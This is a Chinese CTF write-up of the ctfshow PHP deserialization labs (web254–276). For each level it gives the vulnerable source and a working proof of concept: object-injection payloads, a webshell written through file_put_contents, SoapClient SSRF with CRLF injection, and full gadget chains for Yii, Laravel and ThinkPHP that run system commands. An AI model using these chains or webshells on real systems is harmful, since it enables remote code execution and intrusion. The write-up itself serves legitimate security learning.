ctfshow 反序列化篇
2021-4-6
| 2023-4-13
0  |  0 分钟
type
Post
status
Published
date
Apr 6, 2021
slug
2021/ctfshow-unserialize
summary
ctfshow靶场系列
tags
CTFSHOW
category
漏洞靶场
icon
password
感觉排序不是很友好..因为难度不是相对递增的
 
建议顺序
  1. web254-258、web260、web262-web266、web259、web261、web275-276
  1. 然后 web277-278 是 Python 反序列化,不过比较简单
  1. 最后是 web267-web274 都是框架的反序列化漏洞,分析起来会麻烦些,web267-270 是 Yii 的 CVE 和 绕过,web271-273 是 Laravel 5.7 和 5.8 的反序列化,web274是 thinkphp5.1 的反序列化
 
框架的反序列化有空会(咕咕预订…)额外写文章复现,23333

web254 PHP类简单认识

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ if($this->username===$u&&$this->password===$p){ $this->isVip=true; } return $this->isVip; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = new ctfShowUser(); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
poc
GET /?username=xxxxxx&password=xxxxxx

web255 简单逻辑

nginx/1.16.1 PHP/7.3.11
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
分析:
即要满足
  • 类成员 isViptrue
  • 传入的 username 和 类成员 username 相等
  • 传入的 password 和 类成员 password 相等
username 和 password 已知,反序列化修改 isVip 即可
poc
<?php class ctfShowUser{} $user = new ctfShowUser(); $user->isVip = true; echo urlencode(serialize($user)); ?>
notion image

web256 简单逻辑

nginx/1.16.1 PHP/7.3.11
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; if($this->username!==$this->password){ echo "your flag is ".$flag; } }else{ echo "no vip, no flag"; } } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; } }
分析:
即要满足
  • 类成员 isVip 为 true
  • 传入的 username 和 类成员 username 相等
  • 传入的 password 和 类成员 password 相等
  • 类的 username 和 password 不等(原来是相等的)
因为通过反序列化修改原有数据即可
poc
<?php $user = new ctfShowUser(); $user->isVip = true; $user->username = '6'; echo urlencode(serialize($user)); ?>
notion image

web257 简单POP链

nginx/1.16.1 PHP/7.3.11
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 20:33:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; } } class backDoor{ private $code; public function getInfo(){ eval($this->code); } } $username=$_GET['username']; $password=$_GET['password']; if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password); }
分析:
触发 backDoor 即可
poc
<?php class ctfShowUser{ public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code = 'system("cat ./flag.php");'; } $user = new ctfShowUser(); echo(urlencode(serialize($user))); ?>
notion image

web258 正则

PHP/5.6.40 正则绕过
<?php class ctfShowUser{ public function __construct(){ $this->class=new backDoor(); } } class backDoor{ private $code = 'system("cat ./flag.php");'; } $user = new ctfShowUser(); echo(urlencode(serialize($user))); ?>
分析:
绕过正则 /[oc]:\d+:/i , 其实就是 C:数字 或 O:数字 不连续,这里只需让 O:11 不连续即可,比如 O:+11
poc
<?php class ctfShowUser{ public function __construct(){ $this->class=new backDoor(); } } class backDoor{ public $code = 'system("cat flag.php");'; } $user = new ctfShowUser(); $user_replace = preg_replace('/([oc]\:)(\d+)/i', '$1+$2', serialize($user)); echo urlencode($user_replace); ?>
notion image
图中 %2b+ 的 url编码

web259 SSRF + CRLF + SoapClient

PHP/7.3.11 SSRF CRLF SoapClient
index.php
<?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag();
flag.php (大概如下
<?php $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
分析:
不就 XFF伪造?
notion image
估计给的代码是不完整的,还真实 IP 判断,估计大概是这样的
<?php $flag = "flag_tari"; $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){ if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } } } echo "your ip not 127.0.0.1";
搜了一波,奇怪的知识增加了,除了XFF,本题还用到 SSRF(SoapClient)+CRLF组合拳,毕竟我们的 index.php 还有用到呢
需要利用 SSRF 访问 flag.php 并构造 XFF 和 POST 数据,SSRF漏洞在哪呢?
SoapClient类 __call 魔术方法
__call() 魔术方法:当调用一个类不存在的方法时候会触发这个魔术方法
当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。
因此,当我们运行 index.php$vip->getFlag(); 方法时,会因 SoapClient 不存在 getFlag 方法而调用 __call() 魔术方法,进而发送一个 POST 请求
poc
<?php $post_string = 'token=ctfshow'; $soap = new SoapClient( null, array( 'uri'=> "http://127.0.0.1/flag.php", 'location' => 'http://127.0.0.1/flag.php', 'user_agent'=>"edge\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, // 'user_agent'=>"edge\x0D\x0AX-Forwarded-For:127.0.0.1,127.0.0.1\x0D\x0AContent-Type: application/x-www-form-urlencoded"."\x0D\x0AContent-Length: ".(string)strlen($post_string)."\x0D\x0A\x0D\x0A".$post_string, ) ); echo(urlencode(serialize($soap))); ?>
这里注意下,包含特殊字符转义的,比如 \r\n 要用双引号 " 单引号保持原来的语义的。
notion image
warning 没关系
notion image

web260 简单正则

PHP/5.6.40
<?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag; }
poc
<?php class ctfShowUser{ public $tari = 'ctfshow_i_love_36D'; } $user = new ctfShowUser(); echo(urlencode(serialize($user))); ?>
notion image

(原) web261 SSRF Redis

PHP/7.3.11
index.php
<?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag();
分析:
  • 题目提示:打 Redis,默认端口为 6379
notion image
原来的 web261,不知为啥换成了下面这个。
原本的解题思路大概是在 web259 的基础上,构造 POST包去打 redis

web261 PHP特性

nginx/1.18.0 PHP/7.4.16
<?php highlight_file(__FILE__); class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']);
分析
__wakeup()
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
因这里写着 usernamepassword 必须为非空,否则会退出,所以可以考虑要绕过这里
参考 CVE-2016-7124
  • 影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10
  • 漏洞原理
当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。
但是题目是 PHP 7.4.2 明显不满足要求,
然后guguru了一下比较显眼的 __unserialize 魔术方法,因为没见过
https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize
发现有趣的东西,官方文档是这样介绍的
notion image
就当同时存在 __wakeup__unserialize 魔术方法时,只会调用 __unserialize 魔术方法。
仔细观察析构方法,是个弱比较 $this->code==0x36d
然后 0x36d 的十进制是 877 ,写个小实验
notion image
也就是说弱比较 $code 变量前面是 877 就好了,不管后面加了啥字符串,就可以让 $code == 0x36d 成立了。
构造 POC
<?php class ctfshowvip{ public $username = "877.php"; public $password = '<?php eval($_GET[c]); ?>'; } echo urlencode(serialize(new ctfshowvip()));
会生成 877.php 然后 cat /flag_is_here 即可
notion image
题外
因为 PHP 底层是用 C语言写的,原本想着用 \0 作为字符串截断,这样不会拼接 $passwod 字段,然后发现,如果第一个参数有 \0file_put_contents 会报错。
notion image
然后
__invoke__sleep 在这里的用处不太清楚。。

web262 字符逃逸

PHP/5.6.40 字符逃逸
 
index.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 02:37:19 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 16:05:38 # @message.php # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);
看注释发现 message.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 15:13:03 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 15:17:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }

第一种做法

poc
<?php class message{ public $token='admin'; } $msg = new message(); echo(base64_encode(serialize($msg))); ?>
notion image

第二种做法

因有一个正则替换,注意是序列化后再替换,且替换每次内容长度增加1,假如输入 t=fuck"
notion image
我们输入的 " 刚刚好可以发前面闭合,也就是说,我们每输入一个 fuck,我们可控的内容就多出 1 个字符。
我们目的构造 $token="admin" 序列化长这样
notion image
s:5:"token";s:5:"admin";
加上闭合
";``s:5:"token";s:5:"admin";``}
长度为 27
notion image
也就是我们需要输入 27 个 fuck
poc
/?f=6&m=6&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
notion image
notion image

web263 session伪造

PHP/7.3.11 session伪造
 
通过 /www.zip 扫描到源码,这里目录扫描全是 200,建议使用可以看到返回包大小的扫描器,或者有 404 页面识别的扫描器,比如 dirmap
notion image
日常吐槽 fortify,咋啥也扫不出来 (x
seay 发现 file_put_contents 输入可控
notion image
利用前提:
利用点是 session.serialize_handler 与 php.ini 的配置不同引起的反序列化,至于为什么不同,如果相同的也就没必要加上这句设置了(ini_set('session.serialize_handler', 'php');),毕竟是默认配置对吧
目标:
  • file_put_contents 可控点在 inc/inc.phpUser 类,可以通过反序列化触发 __destruct
思路:
  • 首先访问两次首页,抓包可以看到Cookie limit 参数,构造 exp ,使得我们的反序列化数据写入 session 文件(通过 $_SESSION['limit']=base64_decode($_COOKIE['limit']); 写入,这是PHP session 机制,可参考 此链接
  • inc/inc.php 存在 ini_set('session.serialize_handler', 'php');session_start(); ,只要访问即会获取之前写入的 session 数据,然后 check.php 包含 inc/inc.php ,即会触发 User类__destruct方法 ,从而把恶意数据通过 file_put_contents 写入名为 log-$this.username ,内容为 $this.password 的文件。
poc
<?php class User{ public $username = 'tari.php'; public $password = '<?php system("cat flag.php") ?>'; } $user = new User(); echo(base64_encode('|'.serialize($user))); ?>
这里加 '|' 是因为 session.serialize_handler 使用 php引擎 ,session 关联数组的 keyvalue 是通过 '|' 区分的, value 是需要被反序列化的部分。然后默认不是用 php 引擎,所以…. 所以写入是正常字符串,在 inc/inc.php 这读取语义又不一样了。
notion image
随便请求一下 check.php
notion image
image.png
注意是 log-tari.php !
notion image

web264 字符逃逸

PHP/5.6.40 字符逃逸
 
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 02:37:19 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 16:05:38 # @message.php # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); session_start(); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent'; } highlight_file(__FILE__);
看注释发现 message.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 15:13:03 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 15:17:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ session_start(); highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_SESSION['msg'])); if($msg->token=='admin'){ echo $flag; } }
看注释发现 message.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 15:13:03 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 15:17:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ session_start(); highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_SESSION['msg'])); if($msg->token=='admin'){ echo $flag; } }
一开始没看出和 web262 有啥区别,仔细看了一下发现,反序列化时使用了 session 而不是直接通过 Cookie 接收
做法和 web262中第二种做法一样,虽然不是通过 Cookie 接收,也别忘了了 Cookie 的 msg 字段附加个值,不然不满足
if(isset($_COOKIE['msg'])){
先请求 index.php (这里 poc 不明白怎么构造看一下 web262 第二种做法)
notion image
因为 PHP 的 session 是通过 Cookie 里的 PHPSESSID 获取的(不清除参考 web263 session 伪造),所以要记录下来,然后在 message.php 里带上。
然后请求一下 message.php , 别忘了 Cookie 部分
notion image

web265 变量引用

PHP/5.6.40 变量引用
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo $flag; }
token 会变,让 password 成为 token 的引用就好了
poc
<?php class ctfshowAdmin{ public $token; public $password; } $admin = new ctfshowAdmin(); $admin->password = &$admin->token; echo(urlencode(serialize($admin))); ?>
notion image

web266 类和方法不区分大小写

PHP/7.3.11 PHP特性 类和方法不区分大小写
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }
拦截点:序列化数据不能包括 ctfshow,
PHP特性:函数名和类名不区分大小写,变量名区分,例如
notion image
poc
<?php class Ctfshow{ } $user = new Ctfshow(); echo(serialize($user)); ?>
notion image

web267 Yii 框架 CVE

PHP/7.3.11 框架审计 CVE-2020-15148 Yii登录前
 
弱密码 admin/admin 登录
about 页面有个 <!--?view-source --> 提示
可以通过 index.php?r=site%2Fabout&view-source 查看提示
这是 Yii 的路由规则,传送门 ,咋知道的 Yii?通过 burp 抓包记录看到很多 yii.js php 搜了下 (
notion image
框架反序列化漏洞,网上应该可以搜到,一个不错的复现和挖掘文章,传送门
有空会(咕咕预订…)额外写文章复现 (
poc
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'exec'; $this->id = 'cp /fla* tari.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); }
notion image
notion image

web268 Yii 框架 CVE 补丁绕过 1

PHP/7.3.11 框架审计 CVE-2020-15148 Yii登录前 补丁绕过
 
思路类似 web267,估计是打过补丁版本
有空会(咕咕预订…)额外写文章复现 (
poc1
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'exec'; $this->id = 'cp /fla* tari.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里需要改为isRunning $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc1 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?>
notion image
notion image

web269 Yii 框架 CVE 补丁绕过 2

PHP/7.3.11 框架审计 CVE-2020-15148 Yii登录前 补丁绕过
思路类似 web267,估计是打过补丁版本
有空会(咕咕预订…)额外写文章复现 (
poc2
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'exec'; $this->id = 'cp /fla* tari.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['render'] = [new CreateAction(), 'run']; } } } namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class See{ protected $description; public function __construct() { $this->description = new Generator(); } } } namespace{ use phpDocumentor\Reflection\DocBlock\Tags\See; class Swift_KeyCache_DiskKeyCache{ private $keys = []; private $path; public function __construct() { $this->path = new See; $this->keys = array( // 有就行 "suiyi"=>array("suiyi"=>"suiyi") ); } } echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); } ?>
notion image
notion image

web270 Yii 框架 CVE 补丁绕过 3

PHP/7.3.11 框架审计 CVE-2020-15148 Yii登录前 补丁绕过
思路类似 web267,估计是打过补丁版本
有空会(咕咕预订…)额外写文章复现 (
poc3
<?php namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('exec', 'cp /fla* tari.txt'); echo(base64_encode(serialize($exp))); }
notion image
notion image

web271 Laravel 5.7 框架 CVE

PHP/7.1.26 框架审计 CVE-2019-9081 Laravel5.7登录前
 
<?php /** * Laravel - A PHP Framework For Web Artisans * * @package Laravel * @author Taylor Otwell <taylor@laravel.com> */ define('LARAVEL_START', microtime(true)); /* |-------------------------------------------------------------------------- | Register The Auto Loader |-------------------------------------------------------------------------- | | Composer provides a convenient, automatically generated class loader for | our application. We just need to utilize it! We'll simply require it | into the script here so that we don't have to worry about manual | loading any of our classes later on. It feels great to relax. | */ require __DIR__ . '/../vendor/autoload.php'; /* |-------------------------------------------------------------------------- | Turn On The Lights |-------------------------------------------------------------------------- | | We need to illuminate PHP development, so let us turn on the lights. | This bootstraps the framework and gets it ready for use, then it | will load up this application so that we can run it and send | the responses back to the browser and delight our users. | */ $app = require_once __DIR__ . '/../bootstrap/app.php'; /* |-------------------------------------------------------------------------- | Run The Application |-------------------------------------------------------------------------- | | Once we have the application, we can handle the incoming request | through the kernel, and send the associated response back to | the client's browser allowing them to enjoy the creative | and wonderful application we have prepared for them. | */ $kernel = $app->make(Illuminate\Contracts\Http\Kernel::class); $response = $kernel->handle( $request = Illuminate\Http\Request::capture() ); @unserialize($_POST['data']); highlight_file(__FILE__); $kernel->terminate($request, $response);
poc
<?php namespace Illuminate\Foundation\Testing { class PendingCommand { public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser $this->app = $app; //一个实例化的类 Illuminate\Foundation\Application $this->command = $command; //要执行的php函数 system $this->parameters = $parameters; //要执行的php函数的参数 array('id') } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation { class Application { protected $instances = []; public function __construct($instances = []) { $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } } } namespace { $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag')); echo urlencode(serialize($pendingcommand)); }
因代码里是通过 POST 的 data 接收,所以这里是用 data POST 过去
notion image

web272 Laravel 5.8 框架 CVE

PHP/7.1.26 框架审计 Laravel5.8登录前
<?php /** * Laravel - A PHP Framework For Web Artisans * * @package Laravel * @author Taylor Otwell <taylor@laravel.com> */ define('LARAVEL_START', microtime(true)); /* |-------------------------------------------------------------------------- | Register The Auto Loader |-------------------------------------------------------------------------- | | Composer provides a convenient, automatically generated class loader for | our application. We just need to utilize it! We'll simply require it | into the script here so that we don't have to worry about manual | loading any of our classes later on. It feels great to relax. | */ require __DIR__ . '/../vendor/autoload.php'; /* |-------------------------------------------------------------------------- | Turn On The Lights |-------------------------------------------------------------------------- | | We need to illuminate PHP development, so let us turn on the lights. | This bootstraps the framework and gets it ready for use, then it | will load up this application so that we can run it and send | the responses back to the browser and delight our users. | */ $app = require_once __DIR__ . '/../bootstrap/app.php'; /* |-------------------------------------------------------------------------- | Run The Application |-------------------------------------------------------------------------- | | Once we have the application, we can handle the incoming request | through the kernel, and send the associated response back to | the client's browser allowing them to enjoy the creative | and wonderful application we have prepared for them. | */ $kernel = $app->make(Illuminate\Contracts\Http\Kernel::class); $response = $kernel->handle( $request = Illuminate\Http\Request::capture() ); @unserialize($_POST['data']); highlight_file(__FILE__); $kernel->terminate($request, $response);
有空会(咕咕预订…)额外写文章复现 (
poc
<?php namespace PhpParser\Node\Scalar\MagicConst{ class Line {} } namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct($config, $code) { $this->config = $config; $this->code = $code; } } } namespace Mockery\Loader{ class EvalLoader{} } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver) { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace{ $line = new PhpParser\Node\Scalar\MagicConst\Line(); $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>"); $evalloader = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load')); $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand); echo urlencode(serialize($pendingbroadcast)); } ?>
其实还有挺多链的
https://www.anquanke.com/post/id/189718
notion image

web273 和web273一样

PHP/7.1.32 框架审计 Laravel5.8登录前
emm,说实话除了PHP版本细微差别,还不知道有啥区别,竟然 poc 一毛一样
有空会(咕咕预订…)额外写文章复现 (
notion image

web274 thinkphp5.1

nginx/1.16.1 PHP/7.3.11 框架审计 thinkphp5.1登录前
 
thinkphp 5.1反序列化漏洞
参考文章:https://xz.aliyun.com/t/6619
<?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ // 表单ajax伪装变量 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'lin']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
数据接收方式
notion image
有空会(咕咕预订…)额外写文章复现 (
poc
<?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ // 表单ajax伪装变量 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'lin']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
notion image

web275 命令执行拼接

nginx/1.16.1 PHP/7.3.11
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-08 19:13:36 # @Last Modified by: h1xa # @Last Modified time: 2020-12-08 20:08:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); class filter{ public $filename; public $filecontent; public $evilfile=false; public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; } where is flag?
分析:
看似花里胡哨,其实 __destruct 里的 system 可直接拼接,也就是设法让 $this->evilfile 置为 true ,然后拼接命令即可。
notion image
题外:第一眼看去这一读一写,长的这么想被我条件竞争的样子 (

web276 phar反序列化 条件竞争

nginx/1.16.1 PHP/7.3.11 phar反序列化 条件竞争
 
